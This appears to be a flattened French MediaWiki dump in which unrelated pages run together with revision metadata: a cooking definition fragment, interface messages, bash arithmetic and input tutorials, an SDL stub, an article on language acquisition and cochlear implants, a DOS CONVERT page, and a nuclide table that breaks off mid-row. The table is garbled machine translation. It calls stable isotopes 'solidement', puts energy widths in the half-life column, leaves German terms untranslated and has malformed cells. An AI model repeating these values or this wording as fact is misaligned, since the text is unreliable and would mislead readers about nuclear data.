garni est un ensemble de plantes aromatiques et de légumes utilisés pour parfumer un plat en sauce ou un bouillon, il se compose généralement de thym, de laurier et de queues de persil liés par de la ficelle de cuisine, on peut aussi y ajouter une branche de celeri, ou quelques feuilles de poireaux MediaWiki:Privacy 6059 sysop 46928 2006-07-01T18:48:50Z MediaWiki default Politique de confidentialité MediaWiki:Privacypage 6060 sysop 46929 2006-07-01T18:48:50Z MediaWiki default Project:Confidentialité Programmation bash Calculs 6064 26301 2005-11-30T21:12:43Z Guillaumito 46 {{Programmation bash}} {{:Programmation bash-ksh Calculs}} Programmation bash-ksh Calculs 6065 26308 2005-11-30T21:39:01Z Guillaumito 46 Deux méthodes permettent d'effectuer des calculs, la première utilise la syntaxe spéciale <code>$((operation))</code>, la seconde utilise la commande <code>let</code>. Nous allons montrer comment il est possible d'incrémenter une variable avec chacune des deux méthodes : <pre> $ a=1 $ a=$(($a + 1)) $ echo $a 2 </pre> <pre> $ a=1 $ let "a=$a + 1" $ echo $a 2 </pre> Programmation ksh Calculs 6070 26316 2005-12-01T11:59:23Z Guillaumito 46 {{Programmation ksh}} {{:Programmation bash-ksh Calculs}} Programmation SDL 6071 26326 2005-12-01T12:53:54Z Serenity 885 modif license SDL, ou [http://www.libsdl.org/index.php Simple DirectMedia Layer] est une librairie multimédia multiplateforme sous license LGPL. Elle permet d'avoir accès à des fonctions bas niveau (video ''framebuffer'', clavier, souris, carte son...), et semble avoir été créée pour simplifier la programmation des jeux. Il est possible de combiner SDL et OpenGL pour des applications 3D. SDL est compatible Linux, MacOS X et Windows (entre autres). == Voir aussi == * [http://fr.wikipedia.org/wiki/SDL Page wikipedia sur SDL] {{Programmation}} Programmation bash Entrées/Sorties 6073 26330 2005-12-01T13:08:39Z Guillaumito 46 {{Programmation bash}} {{:Programmation bash-ksh Entrées/Sorties}} Programmation bash-ksh Entrées/Sorties 6074 26467 2005-12-04T08:46:12Z Guillaumito 46 /* Entrées/sorties */ explications read == Entrées/sorties == Deux commandes permettent d'effectuer des entrées/sorties : * la commande <code>echo</code> affiche des données soit dans la sortie standard, soit dans la sortie des erreurs ; * la commande <code>read</code> permet de lire des valeurs entrées au clavier et de les stocker dans une variable. <code>read var</code> permet de lire une valeur entrée au clavier par l'utilisateur et de stocker cette valeur dans la variable <code>var</code>, par exemple : <pre> $ read a toto $ echo $a toto </pre> Dans cet exemple, nous appelons <code>read</code> pour lire une valeur que nous allons stocker dans la variable <code>a</code> ; l'utilisateur rentre la chaîne <code>toto</code> ; nous affichons le contenu de la variable <code>a</code> avec <code>echo</code> et son contenu est effectivement <code>toto</code>. Si aucun nom de variable n'est fourni lors de l'appel de <code>read</code>, la valeur entrée par l'utilisateur est stockée dans la variable <code>REPLY</code> : <pre> $ read tata $ echo $REPLY tata </pre> == Instruction <code>select</code> == <pre> echo "Etes vous un homme ou une femme ?" select i in homme femme; do if [ x$i = xhomme ]; then echo Bonjour monsieur break elif [ x$i = xfemme ]; then echo "Bonjour madame (ou mademoiselle)" break else echo mauvaise reponse fi done </pre> Acquisition du language 6078 44748 2006-06-16T21:58:26Z Nicombo 684 mise en forme Existe-t-il une période optimale pour l’acquisition du langage par un enfant? Cette question a été longuement débattue parmi les spécialistes. Le cas de Genie avait relancé le problème. Genie (nom fictif) est une fillette de 13 ans, découverte en 1970 en Californie, après avoir passé son existence enfermée dans un placard. Des psycholinguistes se sont penchés sur son cas. Lors de sa découverte, elle ne pouvait pas parler, mais seulement gémir. Au fil du temps elle a réussi à apprendre quelques mots, sans jamais arriver à parler normalement<sup>(1)</sup>. Parmi les cas d’enfants sauvages, on connaît celui bien documenté de Victor d’Aveyron, un garçon âgé de 12 ans, découvert dans une forêt à la fin du XVIIIe siècle et dont s’est occupé le Dr Jean Itard, sans jamais réussir à lui apprendre à parler<sup>(2)</sup>. Mais, dans ces deux cas, trop de facteurs étaient en jeu pour qu’il soit possible d’en tirer des conclusions définitives. D’un point de vue scientifique, il faudrait réaliser une expérience consistant à priver des enfants d’une exposition au langage et à mesurer leur aptitude à l’acquérir après différentes périodes de privation. Une telle expérience est évidemment impossible, puisqu’elle contrevient à l’éthique. Mais à l’assemblée annuelle de l’Acoustical Society of America et de la Société canadienne d’acoustique, qui s’est tenue à Vancouver à la fin de mai, le Dr Mario Svirsky, otolaryngologue de la Faculté de médecine de l’Université de l’Indiana a présenté une conférence intitulée « The "Forbidden Experiment" in Language Development ». Il a étudié la perception du langage et les capacités langagières de 96 enfants nés sourds, qui ont reçu un implant cochléaire après une période de privation sonore allant de six mois à quatre ans, le temps de découvrir que l’enfant était vraiment sourd et que les parents décident d’une opération. Les résultats des tests sont compatibles avec l’existence d’une période sensible qui commence dans les quatre premières années de la vie. L’amélioration des capacités langagières était plus rapide chez les enfants qui ont reçu un implant cochléaire plus tôt que chez ceux qui l’ont reçu plus tard. Par contre, un test de perception auditive n’a montré aucune amélioration entre les enfants qui ont reçu un implant à 1, 2, 3 ou 4 ans. Une période sensible peut exister pour cette aptitude, mais elle peut commencer après 4 ans. L’examen des aptitudes langagières de ces enfants représente une version imparfaite mais utile de l’expérience interdite. L’implantation précoce d’enfants sourds est donc profitable. Mais il est risqué de la faire à 6 mois (risques opératoires ou mauvais diagnostic), d’autant que si les enfants implantés tôt surclassent les enfants implantés plus tard, les enfants implantés à 6-12 mois montrent des résultats identiques à ceux des enfants implantés à 12-24 mois, au moins jusqu’à 2 à 2 ans et demi. ===Voir aussi=== 1. Pour plus de détails, voir Curtiss, Susan. Genie: A Psycholinguistic Study of a Modern-Day “Wild Child”, New York, Academic Press, 1977. 2.Jean Itard a rédigé deux documents : Mémoir sur les Premiers Développements de Victor de l'Aveyron (1801) et Rapport sur les Nouveaux Développements de Victor de l'Aveyron (1806). Réédition : Paris, Bibliothèque 10-18, octobre 2002, 123 p. François Truffaut en a tiré un film, L’enfant sauvage, 1969. MediaWiki:Gotaccount 6080 sysop 46782 2006-07-01T18:48:49Z MediaWiki default Vous avez déjà un compte ? $1. MediaWiki:Gotaccountlink 6081 sysop 46783 2006-07-01T18:48:49Z MediaWiki default Identifiez-vous MediaWiki:Nologin 6082 sysop 46903 2006-07-01T18:48:50Z MediaWiki default Vous n'avez pas de compte ? $1. MediaWiki:Nologinlink 6083 sysop 46904 2006-07-01T18:48:50Z MediaWiki default Créer un compte MediaWiki:Signupend 6084 sysop 26376 2005-12-02T02:15:33Z MediaWiki default {{int:loginend}} MediaWiki:Wrongpasswordempty 6085 sysop 47120 2006-07-01T18:48:51Z MediaWiki default Vous n'avez pas entré de mot de passe. Essayez à nouveau. MediaWiki:Edittools 6086 sysop 46750 2006-07-01T18:48:48Z MediaWiki default <!-- Tout texte entré ici sera affiché sous les boîtes de modification ou d'import. --> Convert (DOS) 6088 31103 2006-02-01T10:18:00Z Guillaumito 46 cat ==Introduction== Commande interne DOS, elle premet de convertir les volumes FAT en NTFS. ==Utilisation== '''CONVERT''' ''[volume:]'' ''[format]'' Exemple: '' '''c:\'''convert c: /FS:NTFS'' * Le ''volume'' doit être défini par sa lettre et les deux points * Le ''format'' est défini par '''/FS:NTFS''' (le seul disponible). '''Options''' * '''/V''' Permettant d'avoir plus d'information sur le déroulement de l'exécution Notes: Si le disque dur à convertir est utilisé, l'application demandera pour se lancer au prochain démarrage. [[Catégorie:DOS]] Liste des isotopes 6090 26412 2005-12-02T15:51:46Z 85.75.25.253 #redirect[[Liste des nucléides]] Liste des nucléides 6091 26415 2005-12-02T16:08:38Z 85.75.25.253 Aperçu complet de tous les isotopes avec des indications concernant la fréquence, le type de décomposition, la période radioactive et la parité de rotation '''légende ''' {| {{prettytable}} |- {{highlight1}} ! !! |- |α | décomposition d'alpha (émission d'un atome d'hélium) |- |ß- | bêta -- décomposition (émission d'une électron) |- |ß+ | Beta+-Zerfall (émission d'un positron) |- |K+ | capture d'une électron de la gaine d'électron interne |- |IT | Isomerer transition |- |SF | division spontanée |- |p | décomposition sous une émission d'un proton |- |n | décomposition sous une émission d'un neutron |} ==[[Neutron]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |0n | 614.6s |1/2+ |%β-=100 |} ==[[Hydrogène]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |1H |solidement |1/2+ |%Fréquence=99.985 |- |2H |solidement |1+ |%Fréquence=0.015 |- |3H |12.33 a |1/2+ |%β-=100 |- |4H | |2- | |} ==[[Helium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |3He |solidement |1/2+ |%Fréquence=0.000137 |- |4He |solidement |0+ |%Fréquence=99.999863 |- |5He |0.60 MeV |3/2- |%n=100 |- |6He |806.7 ms |0+ |%β-=100 |- |7He |160 keV |(3/2)- |%n=100 |- |8He |119.0 ms |0+ |%β-=100, %β-n=16 |- |9He |0.30 MeV |(1/2-) |%n=100 |- |10He |0.3 MeV 0+ %n=100 |0+ |%n=100 |} ==[[Lithium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |4Li | |2- | |- |5Li |1.5 MeV |3/2- |%p=100 |- |6Li |solidement 1+ |1+ |%Fréquence=7.5 |- |7Li |solidement |3/2- |%Fréquence=92.5 |- |8Li |838 ms |2+ |%β-=100, %β-2α=100 |- |9Li |178.3 ms |3/2- |%β-=100, %β-N2α=49.5 |- |10Li |1.2 MeV | |%n=100 |- |11Li |8.5 ms |3/2- |%β-=100, %β-n=85 , %β-2n=4.1 , %β-2α3n=1.9 |} ==[[Beryllium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |6Be |92 keV |0+ |%2pα=100 |- |7Be |53.12 d |3/2- |%K=100 |- |8Be |6.8 eV |0+ |%2α=100 |- |9Be |solidement 3/2- |3/2- |%Fréquence=100 |- |10Be |1510000 a |0+ |%β-=100 |- |11Be |13.81 s |1/2+ |%β-=100, %β-α=3.1 |- |12Be |23.6 ms |0+ |%β-=100 |- |13Be |0.9 MeV |(1/2,5/2)+ |%n=100 |- |14 Be |4.35 ms |0+ |%β-=100, %β-n=81 , %β-2n=5 |} ==[[Bore]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |7B || 1.4 MeV || (3/2-) || %XP=100 |- |8B || 770 ms || 2+ || %K+%β+=100, %K2α=100 |- |9B || 0.54 keV || 3/2- || %2αP=100 |- |10B || solidement || 3+ || %Fréquence=19.9 |- |11B || solidement || 3/2- || %Fréquence=80.1 |- |12B || 20.20 ms || 1+ || %β-=100, %β-3α=1.58 |- |13B || 17.36 ms || 3/2- || %β-=100, %β-n=0.28 |- |14B || 13.8 ms || 2- || %β-=100 |- |15B || 10.5 ms || || %β-=100 |- |16B || 200 ps || (0-) || %n=100 |- |17B || 5.08 ms || (3/2-) || %β-=100, %β-n=? |} ==[[Carbone]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |8C |230 keV |0+ |%Xp=100 |- |9C |126,5 ms |(3/2-) |%K+%β+=100, %Kp2α=? |- |10C |19.255 s |0+ |%K+%β+=100 |- |11C |20.39 m |3/2- |%K+%β+=100 |- |12C |solidement |0+ |%Fréquence=98.90 |- |13C |solidement |1/2- |%Fréquence=1.10 |- |14C |5730 a |0+ |%β-=100 |- |15C |2.449 s |1/2+ |%β-=100 |- |16C |0.747 s |0+ |%β-=100, %β-N > 98.8 |- |17C |0.193 s | |%β-=100, %β-n=32 |- |18C |0.095 s |0+ |%β-=100, %β-N ~ 25 |- |19C |0.046 s | |%β-=100, %β-n=47 |- |20C |0.014 s |0+ |%β-=100, %β-n=72 |} ==[[Azote]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |11N || 740 keV || 1/2+ || %p=? |- |12N || 11.000 ms || 1+ || %K+%β+=100, %K3α=3.5 |- |13N || 9.965 m || 1/2- || %K+%β+=100 |- |14N || solidement || 1+ || %Fréquence=99.634 |- |15N || solidement || 1/2- || %Fréquence=0.366 |- |16N || 7.13 s || 2- || %β-=100, %β-α=0.00120 |- |17N || 4.173 s || 1/2- || %β-=100, %β-n=95.1 |- |18N || 624 ms || 1- || %β-=100, %β-α=12.2 , %β-n=14.3 |- |19N || 0.304 s || (1/2-) || %β-=100, %β-n=62.4 |- |20N || 100 ms || ||%β-=100, %β-N ~ 61 |- |21N || 85 ms || ||%β-=100, %β-n=84 |- |22N || 24 ms || || %β-=100, %β-n=35 |} ==[[Oxygène]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |12O || 0.40 MeV || 0+ || %2P=60 |- |13O || 8.58 ms || (3/2-) || %K+%β+=100, %Kp=12 |- |14O || 70.606 s || 0+ || %K+%β+=100 |- |15O || 122.24 s || 1/2- || %K+%β+=100 |- |16O || solidement || 0+ || %Fréquence=99.762 |- |17O || solidement || 5/2+ || %Fréquence=0.038 |- |18O || solidement || 0+ || %Fréquence=0.200 |- |19O || 26.91 s || 5/2+ || %β-=100 |- |20O || 13.51 s || 0+ || %β-=100 |- |21O || 3.42 s || (1/2,3/2,5/2)+ || %β-=100 |- |22O || 2.25 s || 0+ || %β-=100 |- |23O || 82 ms || || %β-=100, %β-n=31 |- |24O || 61 ms || 0+ || %β-=100, %β-n=58 |} ==[[Fluor]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |14F || || (2-) || %p=100 |- |15F || 1.0 MeV || (1/2+) || %p=100 |- |16F || 40 keV || 0- || %p=100 |- |17F || 64.49 s || 5/2+ || %K+%β+=100 |- |18F || 109.77 m || 1+ || %K+%β+=100 |- |19F || solidement || 1/2+ || %Fréquence=100 |- |20F || 11.00 s || 2+ || %β-=100 |- |21F || 4.158 s || 5/2+ || %β-=100 |- |22F || 4.23 s || 4+,(3+) || %β-=100 |- |23F || 2.23 s || (3/2,5/2)+ || %β-=100 |- |24F || 0.34 s || (1,2,3)+ || %β-=100 |- |25F || 59 ms || || %β-=100, %β-n=15 |} ==[[Neon]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |16Ne || 122 keV || 0+ || %2P=100 |- |17Ne || 109.2 ms || 1/2- || %K+%β+=100, %Kp=95.8 , %Kα=2.7 |- |18Ne || 1672 ms || 0+ || %K+%β+=100 |- |19Ne || 17.22 s || 1/2+ || %K+%β+=100 |- |20Ne || solidement || 0+ || %Fréquence=90.48 |- |21Ne || solidement || 3/2+ || %Fréquence=0.27 |- |22Ne || solidement || 0+ || %Fréquence=9.25 |- |23Ne || 37.24 s || 5/2+ || %β-=100 |- |24Ne || 3.38 m || 0+ || %β-=100 |- |25Ne || 602 ms || (1/2,3/2)+ || %β-=100 |- |26Ne || 197 ms || 0+ || %β-=100, %β-n=0.13 |- |27Ne || 32 ms || || %β-=100, %β-n=2.0 |- |28Ne || 17 ms || 0+ || %β-=100, %β-n=22 |- |29Ne || 0.2 s || || %β-=100 |} ==[[Sodium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |19Na || || || %p=? |- |20Na || 447.9 ms || 2+ || %K+%β+=100, %Kα=20.5 |- |21Na || 22.49 s || 3/2+ || %K+%β+=100 |- |22Na || 2.6019 a || 3+ || %K+%β+=100 |- |23Na || solidement || 3/2+ || %Fréquence=100 |- |24Na || 14.9590 s || 4+ || %β-=100 |- |24m1Na || 20.20 ms || 1+ || %IT=99.95, %β-=0.05 |- |25Na || 59.1 s || 5/2+ || %β-=100 |- |26Na || 1.072 s || 3+ || %β-=100 |- |27Na || 301 ms || 5/2+ || %β-=100 , %β-n=0.13 |- |28Na || 30.5 ms || 1+ || %β-=100 , %β-n=0.58 |- |29Na || 44.9 ms || 3/2 || %β-=100 , %β-n=21.5 |- |30Na || 48 ms || 2+ || %β-=100 , %β-n=30 , %β-2n=1.17 , %β-α=5.5E-5 |- |31Na || 17.0 ms || 3/2+ || %β-=100, %β-n=37 , %β-2n=0.9 |- |32Na || 13.2 ms || (3-,4-) || %β-=100 , %β-n=24 , %β-2n=8.3 |- |33Na || 8.2 ms || || %β-=100, %β-n=52 , %β-2n=12 |- |34Na || 5.5 ms || || %β-=100, %β-n=?, %β-2n=? |- |35Na || 1.5 ms || || %β-=100, %β-n=? |} ==[[Magnesium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |20Mg || 95 ms || 0+ || %K+%β+=100, %Kp ~ 3 |- |21Mg || 122 ms || (3/2,5/2)+ || %K+%β+=100 , %Kp=29.3 |- |22Mg || 3.857 s || 0+ || %K+%β+=100 |- |23Mg || 11.317 s || 3/2+ || %K+%β+=100 |- |24Mg || solidement || 0+ || %Fréquence=78.99 |- |25Mg || solidement || 5/2+ || %Fréquence=10.00 |- |26Mg || solidement || 0+ || %Fréquence=11.01 |- |27Mg || 9.458 m || 1/2+ || %β-=100 |- |28Mg || 20.91 h || 0+ || %β-=100 |- |29Mg || 1.30 s || 3/2+ || %β-=100 |- |30Mg || 335 ms || 0+ || %β-=100 |- |31Mg || 230 ms || || %β-=100 , %β-n=1.7 |- |32Mg || 120 ms || 0+ || %β-=100 , %β-n=2.4 |- |33Mg || 90 ms || || %β-=100, %β-n=17 |- |34Mg || 20 ms || 0+ || %β-=100, %β-n=? |} ==[[Aluminium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |22Al || 70 ms || || %K+%β+=100 , %Kp+%K2P ~ 2.9 |- |23Al || 0.47 s || || %K+%β+=100, %Kp=? |- |24Al || 2.053 s || 4+ || %K+%β+=100, %Kα=0.035 |- |24m1Al || 131.3 ms || 1+ || %IT=82 , %K+%β+=18 , %Kα=0.028 |- |25Al || 7.183 s || 5/2+ || %K+%β+=100 |- |26Al || 7.17e+5 a || 5+ || %K+%β+=100 |- |26m1Al || 6.3452 s || 0+ || %K+%β+=100 |- |27Al || solidement || 5/2+ || %Fréquence=100 |- |28Al || 2.2414 m || 3+ || %β-=100 |- |29Al || 6.56 m || 5/2+ || %β-=100 |- |30Al || 3.60 s || 3+ || %β-=100 |- |31Al || 644 ms || (3/2,5/2)+ || %β-=100 |- |32Al || 33 ms || 1+ || %β-=100 |} ==[[Silicium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |22Si || 6 ms || 0+ || %K+%β+=100, %Kp=? |- |23Si || || || |- |24Si || 102 ms || 0+ || %K+%β+=100, %Kp ~ 7 |- |25Si || 220 ms || 5/2+ || %K+%β+=100, %Kp=? |- |26Si || 2.234 s || 0+ || %K+%β+=100 |- |27Si || 4.16 s || 5/2+ || %K+%β+=100 |- |28Si || solidement || 0+ || %Fréquence=92.23 |- |29Si || solidement || 1/2+ || %Fréquence=4.67 |- |30Si || solidement || 0+ || %Fréquence=3.10 |- |31Si || 157.3 m || 3/2+ || %β-=100 |- |32Si || 150 a || 0+ || %β-=100 |- |33Si || 6.18 s || || %β-=100 |- |34Si || 2.77 s || 0+ || %β-=100 |- |35Si || 0.78 s || || %β-=100 |- |36Si || 0.45 s || 0+ || %β-=100, %β-N < 10 |} ==[[Phosphore]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |26P || 20 ms || (3+) || %K+%β+=100, %Kp+%K2P ~ 1.9 |- |27P || 260 ms || 1/2+ || %K+%β+=100, %Kp ~ 0.05 |- |28P || 270.3 ms || 3+ || %K+%β+=100, %Kp=0.0013 , %Kα=0.00086 |- |29P || 4.140 s || 1/2+ || %K+%β+=100 |- |30P || 2.498 m || 1+ || %K+%β+=100 |- |31P || solidement || 1/2+ || %Fréquence=100 |- |32P || 14.262 d || 1+ || %β-=100 |- |33P || 25.34 d || 1/2+ || %β-=100 |- |34P || 12.43 s || 1+ || %β-=100 |- |35P || 47.3 s || 1/2+ || %β-=100 |- |36P || 5.6 s || || %β-=100 |- |37P || 2.31 s || || %β-=100 |- |38P || 0.64 s || || %β-=100, %β-N < 10 |- |39P || 0.16 s || || %β-=100, %β-n=41 |- |40P || 260 ms || || %β-=100, %β-n=30 |- |41P || 120 ms || || %β-=100, %β-n=30 |- |42P || 110 ms || || %β-=100, %β-n=50 |- |43P || 33 ms || || %β-=100, %β-n=100 |} ==[[Soufre]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |27S || 21 ms || || %K+%β+=100, %K2P=2.0, %Kp=? |- |28S || 125 ms || 0+ || %K+%β+=100, %Kp=21 |- |29S || 187 ms || 5/2+ || %K+%β+=100, %Kp=47 |- |30S || 1.178 s || 0+ || %K+%β+=100 |- |31S || 2.572 s || 1/2+ || %K+%β+=100 |- |32S || solidement || 0+ || %Fréquence=95.02 |- |33S || solidement || 3/2+ || %Fréquence=0.75 |- |34S || solidement || 0+ || %Fréquence=4.21 |- |35S || 87.32 d || 3/2+ || %β-=100 |- |36S || solidement || 0+ || %Fréquence=0.02 |- |37S || 5.05 m || 7/2- || %β-=100 |- |38S || 170.3 m || 0+ || %β-=100 |- |39S || 11.5 s || (3/2,5/2,7/2) - || %β-=100 |- |40S || 8.8 s || 0+ || %β-=100 |- |41S || || || |- |42S || 0.56 s || 0+ || %β-=100, %β-N < 4 |- |43S || 220 ms || || %β-=100, %β-n=40 |- |44S || 123 ms || 0+ || %β-=100, %β-n=18 |- |45S || 82 ms || || %β-=100, %β-n=54 |} ==[[Chlore]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |31Cl || 150 ms || || %K+%β+=100, %Kp=0.44 |- |32Cl || 298 ms || 1+ || %K+%β+=100 , %Kα=0.054 , %Kp=0.026 |- |33Cl || 2.511 s || 3/2+ || %K+%β+=100 |- |34Cl || 1.5264 s || 0+ || %K+%β+=100 |- |34m1Cl || 32.00 m || 3+ || %K+%β+=55.4 , %IT=44.6 |- |35Cl || solidement || 3/2+ || %Fréquence=75.77 |- |36Cl || 3.01e+5 a || 2+ || %β-=98.10 , %K+%β+=1.90 |- |37Cl || solidement || 3/2+ || %Fréquence=24.23 |- |38Cl || 37.24 m || 2- || %β-=100 |- |38m1Cl || 715 ms || 5- || %IT=100 |- |39Cl || 55.6 m || 3/2+ || %β-=100 |- |40Cl || 1.35 m || 2- || %β-=100 |- |41Cl || 38.4 s || (1/2,3/2)+ || %β-=100 |- |42Cl || 6.8 s || || %β-=100 |- |43Cl || 3.3 s || || %β-=100 |- |44Cl || 434 ms || || %β-=100, %β-N < 8 |- |45Cl || 400 ms || || %β-=100, %β-n=24 |- |46Cl || 223 ms || || %β-=100, %β-n=60 |- |47Cl || || || %β-=100, %β-N < 3 |} ==[[Argon]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |30Ar || 20 ns || 0+ || %p=? |- |31Ar || 15.1 ms || || %K+%β+=100, %Kp=42 , %K2P=2.48 , %K3P=2.1 |- |32Ar || 98 ms || 0+ || %K+%β+=100, %Kp=43 |- |33Ar || 173.0 ms || 1/2+ || %K+%β+=100, %Kp=38.7 |- |34Ar || 844.5 ms || 0+ || %K+%β+=100 |- |35Ar || 1.775 s || 3/2+ || %K+%β+=100 |- |36Ar || solidement || 0+ || %Fréquence=0.337 |- |37Ar || 35.04 d || 3/2+ || %K=100 |- |38Ar || solidement || 0+ || %Fréquence=0.063 |- |39Ar || 269 a || 7/2- || %β-=100 |- |40Ar || solidement || 0+ || %Fréquence=99.600 |- |41Ar || 109.34 m || 7/2- || %β-=100 |- |42Ar || 32.9 a || 0+ || %β-=100 |- |43Ar || 5.37 m || (3/2,5/2) || %β-=100 |- |44Ar || 11.87 m || 0+ || %β-=100 |- |45Ar || 21.48 s || || %β-=100 |- |46Ar || 8.4 s || 0+ || %β-=100 |- |47Ar || 700 ms || || %β-=100, %β-N < 1 |} ==[[Potassium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |35K || 190 ms || 3/2+ || %K+%β+=100, %Kp=0.37 |- |36K || 342 ms || 2+ || %K+%β+=100, %Kp=0.048 , %Kα=0.0034 |- |37K || 1.226 s || 3/2+ || %K+%β+=100 |- |38K || 7.636 m || 3+ || %K+%β+=100 |- |38m1K || 923.9 ms || 0+ || %K+%β+=100 |- |39K || solidement || 3/2+ || %Fréquence=93.2581 |- |40K || 1.277e+9 a || 4- || %Fréquence=0.0117, %β-=89.28 , %K+%β+=10.72 |- |41K || solidement || 3/2+ || %Fréquence=6.7302 |- |42K || 12.360 h || 2- || %β-=100 |- |43K || 22.3 h || 3/2+ || %β-=100 |- |44K || 22.13 m || 2- || %β-=100 |- |45K || 17.3 m || 3/2+ || %β-=100 |- |46K || 105 s || (2-) || %β-=100 |- |47K || 17.50 s || 1/2+ || %β-=100 |- |48K || 6.8 s || (2-) || %β-=100, %β-n=1.14 |- |49K || 1.26 s || (3/2+) || %β-=100, %β-n=86 |- |50K || 472 ms || (0-,1,2-) || %β-=100, %β-n=29 |- |51K || 365 ms || (1/2+,3/2+) || %β-=100 , %β-n=47 |- |52K || 105 ms || || %β-=100, %β-n=91 |- |53K || 30 ms || (3/2+) || %β-=100, %β-n=85 |- |54K || 10 ms || || %β-=100, %β-n=? |} ==[[Calcium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |35Ca || 50 ms || || %K+%β+=100, %K2P=? |- |36Ca || 102 ms || 0+ || %K+%β+=100, %Kp=57 |- |37Ca || 181.1 ms || 3/2+ || %K+%β+=100, %Kp=76 |- |38Ca || 440 ms || 0+ || %K+%β+=100 |- |39Ca || 859.6 ms || 3/2+ || %K+%β+=100 |- |40Ca || solidement || 0+ || %Fréquence=96.941 |- |41Ca || 1.03e+5 a || 7/2- || %K=100 |- |42Ca || solidement || 0+ || %Fréquence=0.647 |- |43Ca || solidement || 7/2- || %Fréquence=0.135 |- |44Ca || solidement || 0+ || %Fréquence=2.086 |- |45Ca || 162.61 d || 7/2- || %β-=100 |- |46Ca || solidement || 0+ || %Fréquence=0.004 |- |47Ca || 4.536 d || 7/2- || %β-=100 |- |48Ca || 6e+18 a || 0+ || %Fréquence=0.187, %β-=?, %ββ=? |- |49Ca || 8.718 m || 3/2- || %β-=100 |- |50Ca || 13.9 s || 0+ || %β-=100 |- |51Ca || 10.0 s || ( 3/2- ) || %β-=100, %β-n=? |- |52Ca || 4.6 s || 0+ || %β-=100 |- |53Ca || 90 ms || ( 3/2- ,5/2-) ||%β-=100, %β-N+%β-2N > 30 |} ==[[Scandium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |40Sc || 182.3 ms || 4- || %K+%β+=100, %Kα=0.017 , %Kp=0.44 |- |41Sc || 596.3 ms || 7/2- || %K+%β+=100 |- |42Sc || 681.3 ms || 0+ || %K+%β+=100 |- |42m1Sc || 61.7 s || 7+,(5+,6+) || %K+%β+=100 |- |43Sc || 3.891 h || 7/2- || %K+%β+=100 |- |44Sc || 3.927 h || 2+ || %K+%β+=100 |- |44m1Sc || 58.6 h || 6+ || %IT=98.80 , %K+%β+=1.20 |- |45Sc || solidement || 7/2- || %Fréquence=100 |- |45m1Sc || 318 ms || 3/2+ || %IT=100 |- |46Sc || 83.79 d || 4+ || %β-=100 |- |46m1Sc || 18.75 s || 1- || %IT=100 |- |47Sc || 3.3492 d || 7/2- || %β-=100 |- |48Sc || 43.67 h || 6+ || %β-=100 |- |49Sc || 57.2 m || 7/2- || %β-=100 |- |50Sc || 102.5 s || 5+ || %β-=100 |- |50m1Sc || 0.35 s || 2+,3+ || %IT > 97.5 < 100, %β-<2.5 |- |51Sc || 12.4 s || (7/2)- || %β-=100 |- |52Sc || 8.2 s || 3+ || %β-=100 |} ==[[Titane]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |39Ti || 26 ms || ( 3/2+ ) || %K=100, %Kp+%K2P ~ 14 |- |40Ti || 50 ms || 0+ || %K+%β+=100 |- |41Ti || 80 ms || 3/2+ || %K+%β+=100, %Kp ~ 100 |- |42Ti || 199 ms || 0+ || %K+%β+=100 |- |43Ti || 509 ms || 7/2- || %K+%β+=100 |- |44Ti || 63 a || 0+ || %K=100 |- |45Ti || 184.8 m || 7/2- || %K+%β+=100 |- |46Ti || solidement || 0+ || %Fréquence=8.0 |- |47Ti || solidement || 5/2- || %Fréquence=7.3 |- |48Ti || solidement || 0+ || %Fréquence=73.8 |- |49Ti || solidement || 7/2- || %Fréquence=5.5 |- |50Ti || solidement || 0+ || %Fréquence=5.4 |- |51Ti || 5.76 m || 3/2- || %β-=100 |- |52Ti || 1.7 m || 0+ || %β-=100 |- |53Ti || 32.7 s || (3/2)- || %β-=100 |- |54Ti || || 0+ || |- |55Ti || 320 ms || ( 3/2- ) || %β-=100 |- |56Ti || 160 ms || 0+ || %β-=100, %β-n=0.06 s ys |- |57Ti || 180 ms || (5/2-) || %β-=100, 